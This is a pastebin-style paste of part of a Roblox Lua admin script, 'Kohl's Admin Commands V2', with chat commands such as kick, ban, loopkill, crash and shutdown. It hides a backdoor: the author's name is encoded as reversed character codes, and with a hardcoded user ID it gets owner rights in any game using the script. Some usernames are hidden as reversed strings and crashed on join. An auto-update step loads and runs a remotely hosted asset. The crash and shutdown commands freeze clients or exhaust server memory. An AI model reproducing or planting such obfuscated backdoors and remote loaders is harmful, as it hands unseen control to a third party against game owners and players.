  2209. local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
  2210. local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
  2211. local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
  2212. local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
  2213. local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
  2214. if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
  2215. tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
  2216. cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
  2217. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  2218. end
  2219.  
  2220. end
  2221.  
  2222.  
  2223. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2224.  
  2225. if msg:lower():sub(1,3) == "pa " then
  2226. local plrz = GetPlr(plr, msg:lower():sub(4))
  2227. for i, v in pairs(plrz) do
  2228. coroutine.resume(coroutine.create(function()
  2229. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2230. end))
  2231. end
  2232. end
  2233.  
  2234. if msg:lower():sub(1,5) == "unpa " then
  2235. for i = 1, #admins do
  2236. coroutine.resume(coroutine.create(function()
  2237. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  2238. end))
  2239. end
  2240. end
  2241.  
  2242. if msg:lower():sub(1,5) == "nuke " then
  2243. local plrz = GetPlr(plr, msg:lower():sub(6))
  2244. for i, v in pairs(plrz) do
  2245. coroutine.resume(coroutine.create(function()
  2246. if v and v.Character and v.Character:findFirstChild("Torso") then
  2247. local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
  2248. p.Anchored = true
  2249. p.CanCollide = false
  2250. p.formFactor = "Symmetric"
  2251. p.Shape = "Ball"
  2252. p.Size = Vector3.new(1,1,1)
  2253. p.BrickColor = BrickColor.new("New Yeller")
  2254. p.Transparency = .5
  2255. p.Reflectance = .2
  2256. p.TopSurface = 0
  2257. p.BottomSurface = 0
  2258. p.Touched:connect(function(hit)
  2259. if hit and hit.Parent then
  2260. local ex = Instance.new("Explosion", game.Workspace)
  2261. ex.Position = hit.Position
  2262. ex.BlastRadius = 11
  2263. ex.BlastPressure = math.huge
  2264. end
  2265. end)
  2266. local cf = v.Character.Torso.CFrame
  2267. p.CFrame = cf
  2268. for i = 1, 333 do
  2269. p.Size = p.Size + Vector3.new(3,3,3)
  2270. p.CFrame = cf
  2271. wait(1/44)
  2272. end
  2273. p:Destroy()
  2274. end
  2275. end))
  2276. end
  2277. end
  2278.  
  2279. end
  2280.  
  2281.  
  2282. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
  2283.  
  2284. if msg:lower() == "logs" then
  2285. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  2286. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  2287. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  2288. end
  2289.  
  2290. if msg:lower():sub(1,9) == "loopkill " then
  2291. local chk1 = msg:lower():sub(10):find(" ")
  2292. local plrz = GetPlr(plr, msg:lower():sub(10))
  2293. local num = 9999
  2294. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  2295. for i, v in pairs(plrz) do
  2296. if v and not ChkAdmin(v.Name, false) then
  2297. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  2298. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2299. for i = 1, ]] .. tostring(num) .. [[ do
  2300. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  2301. coroutine.resume(coroutine.create(function()
  2302. if plr and plr.Character then plr.Character:BreakJoints() end
  2303. end))
  2304. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2305. end
  2306. end
  2307. end
  2308.  
  2309. if msg:lower():sub(1,11) == "unloopkill " then
  2310. local plrz = GetPlr(plr, msg:lower():sub(12))
  2311. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2312. end
  2313.  
  2314. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  2315. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  2316.  
  2317. if msg:lower():sub(1,3) == "sm " then
  2318. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  2319. end
  2320.  
  2321. if msg:lower():sub(1,3) == "ko " then
  2322. local chk1 = msg:lower():sub(4):find(" ") + 3
  2323. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2324. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2325. for n = 1, num do
  2326. for i, v in pairs(plrz) do
  2327. coroutine.resume(coroutine.create(function()
  2328. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name, false) then
  2329. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2330. v.Character:BreakJoints()
  2331. wait(1/44)
  2332. v:LoadCharacter()
  2333. wait(1/44)
  2334. end
  2335. end))
  2336. end
  2337. end
  2338. end
  2339.  
  2340. if msg:lower():sub(1,6) == "crash " then
  2341. local plrz = GetPlr(plr, msg:lower():sub(7))
  2342. for i, v in pairs(plrz) do
  2343. coroutine.resume(coroutine.create(function()
  2344. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2345. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2346. end
  2347. end))
  2348. end
  2349. end
  2350.  
  2351. if msg:lower():sub(1,5) == "kick " then
  2352. local plrz = GetPlr(plr, msg:lower():sub(6))
  2353. for i, v in pairs(plrz) do
  2354. coroutine.resume(coroutine.create(function()
  2355. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2356. end))
  2357. end
  2358. end
  2359.  
  2360. if msg:lower():sub(1,6) == "admin " then
  2361. local plrz = GetPlr(plr, msg:lower():sub(7))
  2362. for i, v in pairs(plrz) do
  2363. coroutine.resume(coroutine.create(function()
  2364. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2365. end))
  2366. end
  2367. end
  2368.  
  2369. if msg:lower():sub(1,8) == "unadmin " then
  2370. for i = 1, #tempadmins do
  2371. coroutine.resume(coroutine.create(function()
  2372. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2373. end))
  2374. end
  2375. end
  2376.  
  2377. if msg:lower():sub(1,4) == "ban " then
  2378. local plrz = GetPlr(plr, msg:lower():sub(5))
  2379. for i, v in pairs(plrz) do
  2380. coroutine.resume(coroutine.create(function()
  2381. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2382. end))
  2383. end
  2384. end
  2385.  
  2386. if msg:lower():sub(1,6) == "unban " then
  2387. for i = 1, #banland do
  2388. coroutine.resume(coroutine.create(function()
  2389. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2390. end))
  2391. end
  2392. end
  2393.  
  2394. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2395.  
  2396. end
  2397. end))
  2398. end
  2399.  
  2400. function AdminControl(plr)
  2401. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2402. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2403. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2404. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2405. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2406. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2407. end)) end
  2408. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2409. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2410. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name:lower() == ("111reyalseca"):reverse() or plr.Name:lower() == ("ecnaillirbi"):reverse() or plr.Name:lower() == ("8k2ffets"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2411. coroutine.resume(coroutine.create(function() if VipAdmin and game:service("BadgeService"):UserHasBadge(plr.userId,ItemId) then table.insert(tempadmins,plr.Name) end end))
  2412. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2413. plr.Chatted:connect(function(msg) Chat(msg,plr) end)
  2414. end
  2415.  
  2416. if not ntab then script:Destroy() end
  2417. if not bct then script:Destroy() end
  2418.  
  2419. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2420.  
  2421. script.Name = "Kohl's Admin Commands V2"
  2422.  
  2423. if not ntab then script:Destroy() end
  2424. if not bct then script:Destroy() end
  2425. if not tcb then script:Destroy() end
  2426. game.Players.PlayerAdded:connect(AdminControl)
  2427. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2428. end
  2429.  
  2430. local mod = game:service("InsertService"):LoadAsset(100808216)
  2431. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2432. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2433. newac.Disabled = true
  2434. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2435. local old = 0
  2436. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2437. if new > old then
  2438. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2439. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2440. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2441. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2442. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2443. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2444. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2445. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2446. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2447. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2448. local bv3 = Instance.new("BoolValue", adminmod) bv3.Name = "VipAdmin" bv3.Value = VipAdmin
  2449. local iv3 = Instance.new("IntValue", adminmod) iv3.Name = "ItemId" iv3.Value = ItemId
  2450. wait()
  2451. newac.Parent = game.Workspace
  2452. newac.Disabled = false
  2453. script.Disabled = true
  2454. script:Destroy()
  2455. else
  2456. CHEESE()
  2457. end
  2458. else
  2459. CHEESE()
  2460. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement